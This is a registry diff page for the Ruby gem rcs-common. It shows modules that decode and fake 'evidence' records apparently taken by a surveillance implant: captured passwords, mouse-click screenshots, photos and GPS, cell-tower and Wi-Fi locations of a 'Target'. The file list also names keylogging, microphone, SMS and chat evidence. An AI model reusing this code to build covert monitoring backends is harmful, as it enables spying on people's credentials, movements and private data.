rcs-common 9.6.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (116) hide show
  1. checksums.yaml +7 -0
  2. data/.gitignore +49 -0
  3. data/Gemfile +4 -0
  4. data/LICENSE.txt +1 -0
  5. data/Rakefile +27 -0
  6. data/lib/rcs-common.rb +21 -0
  7. data/lib/rcs-common/binary.rb +64 -0
  8. data/lib/rcs-common/cgi.rb +7 -0
  9. data/lib/rcs-common/component.rb +87 -0
  10. data/lib/rcs-common/crypt.rb +71 -0
  11. data/lib/rcs-common/deploy.rb +96 -0
  12. data/lib/rcs-common/diagnosticable.rb +136 -0
  13. data/lib/rcs-common/evidence.rb +261 -0
  14. data/lib/rcs-common/evidence/addressbook.rb +173 -0
  15. data/lib/rcs-common/evidence/application.rb +59 -0
  16. data/lib/rcs-common/evidence/calendar.rb +62 -0
  17. data/lib/rcs-common/evidence/call.rb +185 -0
  18. data/lib/rcs-common/evidence/camera.rb +25 -0
  19. data/lib/rcs-common/evidence/chat.rb +272 -0
  20. data/lib/rcs-common/evidence/clibpoard.rb +58 -0
  21. data/lib/rcs-common/evidence/command.rb +50 -0
  22. data/lib/rcs-common/evidence/common.rb +78 -0
  23. data/lib/rcs-common/evidence/content/camera/001.jpg +0 -0
  24. data/lib/rcs-common/evidence/content/coin/wallet_bit.dat +0 -0
  25. data/lib/rcs-common/evidence/content/coin/wallet_lite.dat +0 -0
  26. data/lib/rcs-common/evidence/content/file/Einstein.docx +0 -0
  27. data/lib/rcs-common/evidence/content/file/arabic.docx +0 -0
  28. data/lib/rcs-common/evidence/content/mouse/001.jpg +0 -0
  29. data/lib/rcs-common/evidence/content/mouse/002.jpg +0 -0
  30. data/lib/rcs-common/evidence/content/mouse/003.jpg +0 -0
  31. data/lib/rcs-common/evidence/content/mouse/004.jpg +0 -0
  32. data/lib/rcs-common/evidence/content/print/001.jpg +0 -0
  33. data/lib/rcs-common/evidence/content/screenshot/001.jpg +0 -0
  34. data/lib/rcs-common/evidence/content/screenshot/002.jpg +0 -0
  35. data/lib/rcs-common/evidence/content/screenshot/003.jpg +0 -0
  36. data/lib/rcs-common/evidence/content/url/001.jpg +0 -0
  37. data/lib/rcs-common/evidence/content/url/002.jpg +0 -0
  38. data/lib/rcs-common/evidence/content/url/003.jpg +0 -0
  39. data/lib/rcs-common/evidence/device.rb +23 -0
  40. data/lib/rcs-common/evidence/download.rb +54 -0
  41. data/lib/rcs-common/evidence/exec.rb +0 -0
  42. data/lib/rcs-common/evidence/file.rb +129 -0
  43. data/lib/rcs-common/evidence/filesystem.rb +71 -0
  44. data/lib/rcs-common/evidence/info.rb +24 -0
  45. data/lib/rcs-common/evidence/keylog.rb +84 -0
  46. data/lib/rcs-common/evidence/mail.rb +237 -0
  47. data/lib/rcs-common/evidence/mic.rb +39 -0
  48. data/lib/rcs-common/evidence/mms.rb +36 -0
  49. data/lib/rcs-common/evidence/money.rb +676 -0
  50. data/lib/rcs-common/evidence/mouse.rb +62 -0
  51. data/lib/rcs-common/evidence/password.rb +60 -0
  52. data/lib/rcs-common/evidence/photo.rb +80 -0
  53. data/lib/rcs-common/evidence/position.rb +303 -0
  54. data/lib/rcs-common/evidence/print.rb +50 -0
  55. data/lib/rcs-common/evidence/screenshot.rb +53 -0
  56. data/lib/rcs-common/evidence/sms.rb +91 -0
  57. data/lib/rcs-common/evidence/url.rb +133 -0
  58. data/lib/rcs-common/fixnum.rb +48 -0
  59. data/lib/rcs-common/gridfs.rb +294 -0
  60. data/lib/rcs-common/heartbeat.rb +96 -0
  61. data/lib/rcs-common/keywords.rb +50 -0
  62. data/lib/rcs-common/mime.rb +65 -0
  63. data/lib/rcs-common/mongoid.rb +19 -0
  64. data/lib/rcs-common/pascalize.rb +62 -0
  65. data/lib/rcs-common/path_utils.rb +67 -0
  66. data/lib/rcs-common/resolver.rb +40 -0
  67. data/lib/rcs-common/rest.rb +17 -0
  68. data/lib/rcs-common/sanitize.rb +42 -0
  69. data/lib/rcs-common/serializer.rb +404 -0
  70. data/lib/rcs-common/signature.rb +141 -0
  71. data/lib/rcs-common/stats.rb +94 -0
  72. data/lib/rcs-common/symbolize.rb +10 -0
  73. data/lib/rcs-common/systemstatus.rb +136 -0
  74. data/lib/rcs-common/temporary.rb +13 -0
  75. data/lib/rcs-common/time.rb +24 -0
  76. data/lib/rcs-common/trace.rb +138 -0
  77. data/lib/rcs-common/trace.yaml +42 -0
  78. data/lib/rcs-common/updater/client.rb +354 -0
  79. data/lib/rcs-common/updater/dsl.rb +178 -0
  80. data/lib/rcs-common/updater/payload.rb +79 -0
  81. data/lib/rcs-common/updater/server.rb +126 -0
  82. data/lib/rcs-common/updater/shared_key.rb +55 -0
  83. data/lib/rcs-common/updater/tmp_dir.rb +13 -0
  84. data/lib/rcs-common/utf16le.rb +83 -0
  85. data/lib/rcs-common/version.rb +5 -0
  86. data/lib/rcs-common/winfirewall.rb +235 -0
  87. data/rcs-common.gemspec +64 -0
  88. data/spec/gridfs_spec.rb +637 -0
  89. data/spec/mongoid.yaml +6 -0
  90. data/spec/signature_spec.rb +105 -0
  91. data/spec/spec_helper.rb +22 -0
  92. data/spec/updater_spec.rb +80 -0
  93. data/tasks/deploy.rake +21 -0
  94. data/tasks/protect.rake +90 -0
  95. data/test/helper.rb +17 -0
  96. data/test/test_binary.rb +107 -0
  97. data/test/test_cgi.rb +14 -0
  98. data/test/test_crypt.rb +125 -0
  99. data/test/test_evidence.rb +52 -0
  100. data/test/test_evidence_manager.rb +119 -0
  101. data/test/test_fixnum.rb +35 -0
  102. data/test/test_keywords.rb +137 -0
  103. data/test/test_mime.rb +49 -0
  104. data/test/test_pascalize.rb +100 -0
  105. data/test/test_path_utils.rb +24 -0
  106. data/test/test_rcs-common.rb +7 -0
  107. data/test/test_sanitize.rb +40 -0
  108. data/test/test_serialization.rb +20 -0
  109. data/test/test_stats.rb +90 -0
  110. data/test/test_symbolize.rb +20 -0
  111. data/test/test_systemstatus.rb +35 -0
  112. data/test/test_time.rb +56 -0
  113. data/test/test_trace.rb +25 -0
  114. data/test/test_utf16le.rb +71 -0
  115. data/test/test_winfirewall.rb +68 -0
  116. metadata +423 -0
@@ -0,0 +1,62 @@
1
+ require 'rcs-common/evidence/common'
2
+
3
+ module RCS
4
+
5
+ module MouseEvidence
6
+
7
+ MOUSE_VERSION = 2009040201
8
+
9
+ def content
10
+ path = File.join(File.dirname(__FILE__), 'content', 'mouse', '00' + (rand(4) + 1).to_s + '.jpg')
11
+ File.open(path, 'rb') {|f| f.read }
12
+ end
13
+
14
+ def generate_content
15
+ [ content ]
16
+ end
17
+
18
+ def additional_header
19
+ process_name = 'Finder'.to_utf16le_binary
20
+ window_name = ''.to_utf16le_binary
21
+ x = 10
22
+ y = 20
23
+ width = 1280
24
+ height = 800
25
+ header = StringIO.new
26
+ header.write [MOUSE_VERSION, process_name.size, window_name.size, x, y, width, height].pack("I*")
27
+ header.write process_name
28
+ header.write window_name
29
+
30
+ header.string
31
+ end
32
+
33
+ def decode_additional_header(data)
34
+ raise EvidenceDeserializeError.new("incomplete MOUSE") if data.nil? or data.bytesize == 0
35
+
36
+ binary = StringIO.new data
37
+
38
+ version, process_name_len, window_name_len = binary.read(12).unpack('I*')
39
+ raise EvidenceDeserializeError.new("invalid log version for MOUSE") unless version == MOUSE_VERSION
40
+
41
+ x, y, width, height = binary.read(16).unpack('I*')
42
+
43
+ ret = Hash.new
44
+ ret[:data] = Hash.new if ret[:data].nil?
45
+ ret[:data][:program] = binary.read(process_name_len).utf16le_to_utf8
46
+ ret[:data][:window] = binary.read(window_name_len).utf16le_to_utf8
47
+ ret[:data][:x] = x
48
+ ret[:data][:y] = y
49
+ ret[:data][:resolution] = "#{width} x #{height}"
50
+ return ret
51
+ end
52
+
53
+ def decode_content(common_info, chunks)
54
+ info = Hash[common_info]
55
+ info[:data] = Hash.new if info[:data].nil?
56
+ info[:grid_content] = chunks.first
57
+ yield info if block_given?
58
+ :delete_raw
59
+ end
60
+ end
61
+
62
+ end # ::RCS
@@ -0,0 +1,60 @@
1
+ require 'rcs-common/evidence/common'
2
+
3
+ module RCS
4
+
5
+ module PasswordEvidence
6
+
7
+ ELEM_DELIMITER = 0xABADC0DE
8
+
9
+ def content
10
+ resource = ["MSN", "IExplorer", "Firefox"].sample.to_utf16le_binary_null
11
+ service = ["http://login.live.com", "http://www.google.com", "http://msn.live.it"].sample.to_utf16le_binary_null
12
+ user = ["ALoR", "test", "daniel", "naga"].sample.to_utf16le_binary_null
13
+ pass = ["secret", "mario1", "ht123456"].sample.to_utf16le_binary_null
14
+ content = StringIO.new
15
+ content.write resource
16
+ content.write user
17
+ content.write pass
18
+ content.write service
19
+ content.write [ ELEM_DELIMITER ].pack('L')
20
+
21
+ content.string
22
+ end
23
+
24
+ def generate_content
25
+ ret = Array.new
26
+ 10.rand_times { ret << content() }
27
+ ret
28
+ end
29
+
30
+ def decode_content(common_info, chunks)
31
+ stream = StringIO.new chunks.join
32
+
33
+ until stream.eof?
34
+ info = Hash[common_info]
35
+ info[:data] = Hash.new if info[:data].nil?
36
+ info[:data][:program] = ''
37
+ info[:data][:service] = ''
38
+ info[:data][:user] = ''
39
+ info[:data][:pass] = ''
40
+
41
+ resource = stream.read_utf16le_string
42
+ info[:data][:program] = resource.utf16le_to_utf8 unless resource.nil?
43
+ user = stream.read_utf16le_string
44
+ info[:data][:user] = user.utf16le_to_utf8 unless user.nil?
45
+ pass = stream.read_utf16le_string
46
+ info[:data][:pass] = pass.utf16le_to_utf8 unless pass.nil?
47
+ service = stream.read_utf16le_string
48
+ info[:data][:service] = service.utf16le_to_utf8 unless service.nil?
49
+
50
+ delim = stream.read(4).unpack("L*").first
51
+ raise EvidenceDeserializeError.new("Malformed PASSWORD (missing delimiter)") unless delim == ELEM_DELIMITER
52
+
53
+ # this is not the real clone! redefined clone ...
54
+ yield info if block_given?
55
+ end
56
+ :delete_raw
57
+ end
58
+ end
59
+
60
+ end # ::RCS
@@ -0,0 +1,80 @@
1
+ require 'rcs-common/evidence/common'
2
+
3
+ module RCS
4
+
5
+ module PhotoEvidence
6
+
7
+ PHOTO_VERSION = 2015012601
8
+
9
+ def content
10
+ path = File.join(File.dirname(__FILE__), 'content', 'screenshot', '00' + (rand(3) + 1).to_s + '.jpg')
11
+ File.open(path, 'rb') {|f| f.read }
12
+ end
13
+
14
+ def generate_content
15
+ [ content ]
16
+ end
17
+
18
+ def additional_header
19
+ header = StringIO.new
20
+ header.write [PHOTO_VERSION].pack("I")
21
+
22
+ data = {program: "iphoto",
23
+ time: Time.now.getutc.to_i,
24
+ path: "/Users/Target/Pictures/iPhoto Library/",
25
+ tags: [{name: 'ciccio', handle: '1234567890', type: 'facebook'}, {name: 'pasticcio', handle: '0987654321', type: 'facebook'}],
26
+ description: "my wonderful photo",
27
+ place: {lat: 45.0, lon: 9.1, r: 50},
28
+ device: '',
29
+ target: false
30
+ }
31
+
32
+ header.write data.to_json
33
+
34
+ header.string
35
+ end
36
+
37
+ def decode_additional_header(data)
38
+ raise EvidenceDeserializeError.new("incomplete PHOTO") if data.nil? or data.bytesize == 0
39
+
40
+ binary = StringIO.new data
41
+
42
+ version = binary.read(4).unpack("I").first
43
+ raise EvidenceDeserializeError.new("invalid log version for PHOTO") unless version == PHOTO_VERSION
44
+
45
+ ret = Hash.new
46
+ ret[:data] = Hash.new
47
+
48
+ data = JSON.parse(binary.read)
49
+
50
+ ret[:da] = data['time'] if data['time'] # override the date acquired
51
+ ret[:data][:program] = data['program']
52
+ ret[:data][:path] = data['path']
53
+ ret[:data][:desc] = data['description']
54
+ ret[:data][:device] = data['device']
55
+ ret[:data][:tags] = data['tags'] #.map {|x| x['name']}.join(", ")
56
+ if data['place']
57
+ ret[:data][:latitude] = data['place']['lat']
58
+ ret[:data][:longitude] = data['place']['lon']
59
+ ret[:data][:accuracy] = data['place']['r']
60
+
61
+ # Adds also a "position" array field to support mongoDB 2dSphere index
62
+ ret[:data][:position] = [ret[:data][:longitude], ret[:data][:latitude]]
63
+ end
64
+
65
+ # if the photo is taken from "my profile pictures"
66
+ ret[:data][:type] = :target if data['target']
67
+
68
+ return ret
69
+ end
70
+
71
+ def decode_content(common_info, chunks)
72
+ info = Hash[common_info]
73
+ info[:data] ||= Hash.new
74
+ info[:grid_content] = chunks.join
75
+ yield info if block_given?
76
+ :delete_raw
77
+ end
78
+ end
79
+
80
+ end # ::RCS
@@ -0,0 +1,303 @@
1
+ require 'rcs-common/evidence/common'
2
+
3
+ require 'digest/md5'
4
+
5
+ module RCS
6
+
7
+ module PositionEvidence
8
+
9
+ ELEM_DELIMITER = 0xABADC0DE
10
+
11
+ LOCATION_VERSION = 2010082401
12
+ LOCATION_GPS = 0x0001
13
+ LOCATION_GSM = 0x0002
14
+ LOCATION_WIFI = 0x0003
15
+ LOCATION_IP = 0x0004
16
+ LOCATION_CDMA = 0x0005
17
+
18
+ PLAIN_GPS = 0x00
19
+ CHECKIN_FACEBOOK = 0x01
20
+
21
+ def content
22
+ content = StringIO.new
23
+
24
+ case @loc_type
25
+ when LOCATION_GPS
26
+ content.write [@loc_type, 0, 0].pack('L*')
27
+ content.write Time.now.getutc.to_filetime.pack('L*')
28
+ content.write GPS_Position.struct(45.12345, 9.54321, rand(10..100), [0,1].sample, "This is my place")
29
+ content.write [ ELEM_DELIMITER ].pack('L')
30
+
31
+ when LOCATION_GSM
32
+ content.write [@loc_type, 0, 0].pack('L*')
33
+ content.write Time.now.getutc.to_filetime.pack('L*')
34
+ content.write CELL_Position.struct(222, 1, 61208, 528, -92, 0)
35
+ content.write [ ELEM_DELIMITER ].pack('L')
36
+
37
+ when LOCATION_WIFI
38
+ content.write ["\x00\x17\xC2\xF8\x9C\x60", "\x00\x25\xC9\xDF\xAB\xA7", "\x38\x22\x9D\xF7\x84\xF4"].sample
39
+ content.write [0, 0].pack('C*') # dummy for the C struck packing
40
+ content.write [4].pack('L')
41
+ content.write ["FASTWEB-1-0017C2F89C60", "ht-guest-wifi", "FASTWEB-1-38229DF784F4"].sample.ljust(32, "\x00")
42
+ content.write [rand(100) * -1].pack('l')
43
+
44
+ when LOCATION_IP
45
+ content.write ["8.8.8.8", "8.8.4.4", "4.2.2.2"].sample
46
+ end
47
+
48
+ content.string
49
+ end
50
+
51
+ def generate_content
52
+ ret = Array.new
53
+ @nstruct.times { ret << content() }
54
+ ret
55
+ end
56
+
57
+ def additional_header
58
+ @loc_type = [LOCATION_GPS, LOCATION_GSM, LOCATION_WIFI, LOCATION_IP].sample
59
+ #@loc_type = [LOCATION_GPS].sample
60
+ @nstruct = (@loc_type == LOCATION_IP) ? 1 : rand(5) + 1
61
+ header = StringIO.new
62
+ header.write [LOCATION_VERSION, @loc_type, @nstruct].pack("I*")
63
+
64
+ header.string
65
+ end
66
+
67
+ def decode_additional_header(data)
68
+ raise EvidenceDeserializeError.new("incomplete LOCATION") if data.nil? or data.size == 0
69
+
70
+ binary = StringIO.new data
71
+
72
+ version, type, number = binary.read(12).unpack("I*")
73
+ raise EvidenceDeserializeError.new("invalid log version for LOCATION") unless version == LOCATION_VERSION
74
+
75
+ ret = Hash.new
76
+ ret[:loc_type] = type
77
+ return ret
78
+ end
79
+
80
+ def decode_content(common_info, chunks)
81
+ stream = StringIO.new chunks.join
82
+
83
+ case common_info[:loc_type]
84
+ when LOCATION_WIFI
85
+ info = Hash[common_info]
86
+ info[:data] ||= Hash.new
87
+ info[:data][:type] = 'WIFI'
88
+ info[:data][:wifi] = []
89
+ until stream.eof?
90
+ # we have 6 byte of mac address
91
+ # and 2 of padding (using C struct is BAAAAD)
92
+ mac = stream.read 6
93
+ stream.read 2
94
+
95
+ len = stream.read(4).unpack('L').first
96
+ ssid = stream.read(len)
97
+
98
+ stream.read(32-len)
99
+ sig = stream.read(4).unpack('l').first
100
+
101
+ mac_s = "%02X:%02X:%02X:%02X:%02X:%02X" %
102
+ [mac[0].unpack('C').first,
103
+ mac[1].unpack('C').first,
104
+ mac[2].unpack('C').first,
105
+ mac[3].unpack('C').first,
106
+ mac[4].unpack('C').first,
107
+ mac[5].unpack('C').first]
108
+
109
+ info[:data][:wifi] << {:mac => mac_s, :sig => sig, :ssid => ssid}
110
+ end
111
+ yield info if block_given?
112
+
113
+ when LOCATION_IP
114
+ info = Hash[common_info]
115
+ info[:data] ||= Hash.new
116
+ info[:data][:type] = 'IPv4'
117
+ ip = stream.read_ascii_string
118
+ info[:data][:ip] = ip unless ip.nil?
119
+ yield info if block_given?
120
+
121
+ when LOCATION_GPS
122
+ until stream.eof?
123
+ info = Hash[common_info]
124
+ info[:data] ||= Hash.new
125
+ #info[:data][:type] = 'GPS'
126
+ type, size, version = stream.read(12).unpack('L*')
127
+ low, high = *stream.read(8).unpack('L*')
128
+ info[:da] = Time.from_filetime(high, low)
129
+
130
+ gps = GPS_Position.new
131
+ gps.read stream
132
+ info[:data][:latitude] = gps.latitude.to_f
133
+ info[:data][:longitude] = gps.longitude.to_f
134
+ info[:data][:accuracy] = gps.accuracy.to_i
135
+ info[:data][:type] = case (gps.flags.to_i)
136
+ when PLAIN_GPS
137
+ 'GPS'
138
+ when CHECKIN_FACEBOOK
139
+ 'FACEBOOK'
140
+ end
141
+ info[:data][:address] = {text: gps.checkin_name} if info[:data][:type] != 'GPS'
142
+
143
+ delim = stream.read(4).unpack('L').first
144
+ raise EvidenceDeserializeError.new("Malformed LOCATION GPS (missing delimiter)") unless delim == ELEM_DELIMITER
145
+
146
+ yield info if block_given?
147
+ end
148
+
149
+ when LOCATION_GSM, LOCATION_CDMA
150
+ until stream.eof?
151
+ info = Hash[common_info]
152
+ info[:data] ||= Hash.new
153
+ info[:data][:type] = (info[:loc_type] == LOCATION_GSM) ? 'GSM' : 'CDMA'
154
+ type, size, version = stream.read(12).unpack('L*')
155
+ low, high = *stream.read(8).unpack('L*')
156
+ info[:da] = Time.from_filetime(high, low)
157
+ cell = CELL_Position.new
158
+ cell.read stream
159
+
160
+ if info[:loc_type] == LOCATION_GSM then
161
+ info[:data][:cell] = {:mcc => cell.mcc, :mnc => cell.mnc, :lac => cell.lac, :cid => cell.cid, :db => cell.db, :adv => cell.adv, :age => 0}
162
+ else
163
+ info[:data][:cell] = {:mcc => cell.mcc, :sid => cell.mnc, :nid => cell.lac, :bid => cell.cid, :db => cell.db, :adv => cell.adv, :age => 0}
164
+ end
165
+
166
+ delim = stream.read(4).unpack('L').first
167
+ raise EvidenceDeserializeError.new("Malformed LOCATION CELL (missing delimiter)") unless delim == ELEM_DELIMITER
168
+ yield info if block_given?
169
+ end
170
+ else
171
+ raise EvidenceDeserializeError.new("Unsupported LOCATION type (#{info[:loc_type]})")
172
+ end
173
+
174
+ :delete_raw
175
+ end
176
+ end
177
+
178
+ class GPS_Position
179
+
180
+ attr_reader :latitude
181
+ attr_reader :longitude
182
+ attr_reader :accuracy
183
+ attr_reader :flags
184
+ attr_reader :checkin_name
185
+
186
+ def self.size
187
+ self.struct(0,0,0).bytesize
188
+ end
189
+
190
+ def self.struct(lat, long, accuracy, flags, name)
191
+ str = ''
192
+ str += [0].pack('l') # DWORD dwVersion; Current version of GPSID client is using.
193
+ str += [0].pack('l') # DWORD dwSize; sizeof(_GPS_POSITION)
194
+ str += [0].pack('l') # DWORD dwValidFields;
195
+
196
+ # abuse this flag to indicate social checkins
197
+ str += [flags].pack('l') # DWORD dwFlags;
198
+
199
+ str += Array.new(8,0).pack('s*') # SYSTEMTIME stUTCTime; UTC according to GPS clock.
200
+
201
+ str += [lat].pack('D') # double dblLatitude; // Degrees latitude. North is positive
202
+ str += [long].pack('D') # double dblLongitude; // Degrees longitude. East is positive
203
+
204
+ str += [0].pack('F') # float flSpeed; // Speed in knots
205
+ str += [0].pack('F') # float flHeading; // Degrees heading (course made good). True North=0
206
+ str += [0].pack('D') # double dblMagneticVariation; // Magnetic variation. East is positive
207
+ str += [0].pack('F') # float flAltitudeWRTSeaLevel; // Altitute with regards to sea level, in meters
208
+ str += [0].pack('F') # float flAltitudeWRTEllipsoid; // Altitude with regards to ellipsoid, in meters
209
+
210
+ str += [0].pack('l') # GPS_FIX_QUALITY FixQuality; // Where did we get fix from?
211
+ str += [0].pack('l') # GPS_FIX_TYPE FixType; // Is this 2d or 3d fix?
212
+ str += [0].pack('l') # GPS_FIX_SELECTION SelectionType; // Auto or manual selection between 2d or 3d mode
213
+ str += [0].pack('F') # float flPositionDilutionOfPrecision; // Position Dilution Of Precision
214
+ str += [accuracy].pack('F') # float flHorizontalDilutionOfPrecision; // Horizontal Dilution Of Precision
215
+ str += [0].pack('F') # float flVerticalDilutionOfPrecision; // Vertical Dilution Of Precision
216
+
217
+ #str += [1].pack('l') # DWORD dwSatelliteCount; // Number of satellites used in solution
218
+ #str += Array.new(12,0).pack('l*') # DWORD rgdwSatellitesUsedPRNs[GPS_MAX_SATELLITES]; // PRN numbers of satellites used in the solution
219
+ #str += [0].pack('l') # DWORD dwSatellitesInView; // Number of satellites in view. From 0-GPS_MAX_SATELLITES
220
+ #str += Array.new(12,0).pack('l*') # DWORD rgdwSatellitesInViewPRNs[GPS_MAX_SATELLITES]; // PRN numbers of satellites in view
221
+ #str += Array.new(12,0).pack('l*') # DWORD rgdwSatellitesInViewElevation[GPS_MAX_SATELLITES]; // Elevation of each satellite in view
222
+ #str += Array.new(12,0).pack('l*') # DWORD rgdwSatellitesInViewAzimuth[GPS_MAX_SATELLITES]; // Azimuth of each satellite in view
223
+ #str += Array.new(12,0).pack('l*') # DWORD rgdwSatellitesInViewSignalToNoiseRatio[GPS_MAX_SATELLITES]; // Signal to noise ratio of each satellite in view
224
+
225
+ # we abuse this space to write the name of the checkin
226
+ str += name.to_utf16le_binary_null.ljust(248, "\x00")
227
+
228
+ return str
229
+ end
230
+
231
+ def read(stream)
232
+ stream.read(4*3)
233
+ @flags = stream.read(4).unpack('l').first
234
+ stream.read(8*2)
235
+ @latitude = stream.read(8).unpack('D').first
236
+ @longitude = stream.read(8).unpack('D').first
237
+ stream.read(2*4)
238
+ stream.read(8)
239
+ stream.read(2*4)
240
+
241
+ stream.read(3*4)
242
+ stream.read(4) # PDOP
243
+ @accuracy = stream.read(4).unpack('F').first # HDOP
244
+ stream.read(4) # VDOP
245
+
246
+ temp = stream.read(248)
247
+ name = StringIO.new(temp).read_utf16le_string
248
+ @checkin_name = name.utf16le_to_utf8 unless name.nil?
249
+ end
250
+ end
251
+
252
+
253
+ class CELL_Position
254
+
255
+ attr_reader :mcc, :mnc, :lac, :cid, :db, :adv
256
+
257
+ def self.size
258
+ self.struct(0,0,0,0,0,0).bytesize
259
+ end
260
+
261
+ def self.struct(mcc, mnc, lac, cid, db, adv)
262
+ str = ''
263
+ str += [0].pack('l') # DWORD cbSize; // @field structure size in bytes
264
+ str += [0].pack('l') # DWORD dwParams; // @field indicates valid parameters
265
+ str += [mcc].pack('l') # DWORD dwMobileCountryCode; // @field TBD
266
+ str += [mnc].pack('l') # DWORD dwMobileNetworkCode; // @field TBD
267
+ str += [lac].pack('l') # DWORD dwLocationAreaCode; // @field TBD
268
+ str += [cid].pack('l') # DWORD dwCellID; // @field TBD
269
+ str += [0].pack('l') # DWORD dwBaseStationID; // @field TBD
270
+ str += [0].pack('l') # DWORD dwBroadcastControlChannel; // @field TBD
271
+ str += [db].pack('l') # DWORD dwRxLevel; // @field Value from 0-63 (see GSM 05.08, 8.1.4)
272
+ str += [0].pack('l') # DWORD dwRxLevelFull; // @field Value from 0-63 (see GSM 05.08, 8.1.4)
273
+ str += [0].pack('l') # DWORD dwRxLevelSub; // @field Value from 0-63 (see GSM 05.08, 8.1.4)
274
+ str += [0].pack('l') # DWORD dwRxQuality; // @field Value from 0-7 (see GSM 05.08, 8.2.4)
275
+ str += [0].pack('l') # DWORD dwRxQualityFull; // @field Value from 0-7 (see GSM 05.08, 8.2.4)
276
+ str += [0].pack('l') # DWORD dwRxQualitySub; // @field Value from 0-7 (see GSM 05.08, 8.2.4)
277
+ str += [0].pack('l') # DWORD dwIdleTimeSlot; // @field TBD
278
+ str += [adv].pack('l') # DWORD dwTimingAdvance; // @field TBD
279
+ str += [0].pack('l') # DWORD dwGPRSCellID; // @field TBD
280
+ str += [0].pack('l') # DWORD dwGPRSBaseStationID; // @field TBD
281
+ str += [0].pack('l') # DWORD dwNumBCCH; // @field TBD
282
+ str += Array.new(48,0).pack('C*') # BYTE rgbBCCH[MAXLENGTH_BCCH]; // @field TBD
283
+ str += Array.new(16,0).pack('C*') # BYTE rgbNMR[MAXLENGTH_NMR]; // @field TBD
284
+ return str
285
+ end
286
+
287
+ def read(stream)
288
+ stream.read(2*4) #size/params
289
+ @mcc = stream.read(4).unpack('l').first
290
+ @mnc = stream.read(4).unpack('l').first
291
+ @lac = stream.read(4).unpack('l').first
292
+ @cid = stream.read(4).unpack('l').first
293
+ stream.read(2*4) # basestationid/broadcastcontrolchannel
294
+ @db = stream.read(4).unpack('l').first # rxlevel
295
+ stream.read(6*4) #rxlevelfull/rxlevelsub/rxquality/rxqualityfull/rxqualitysub/idletimeslot
296
+ @adv = stream.read(4).unpack('l').first # timingadvance
297
+ stream.read(3*4) # gprscellid / gprsbasestationid / dwnumbcch
298
+ stream.read(48+16) # BCCH[48] / NMR[16]
299
+ end
300
+
301
+ end
302
+
303
+ end # ::RCS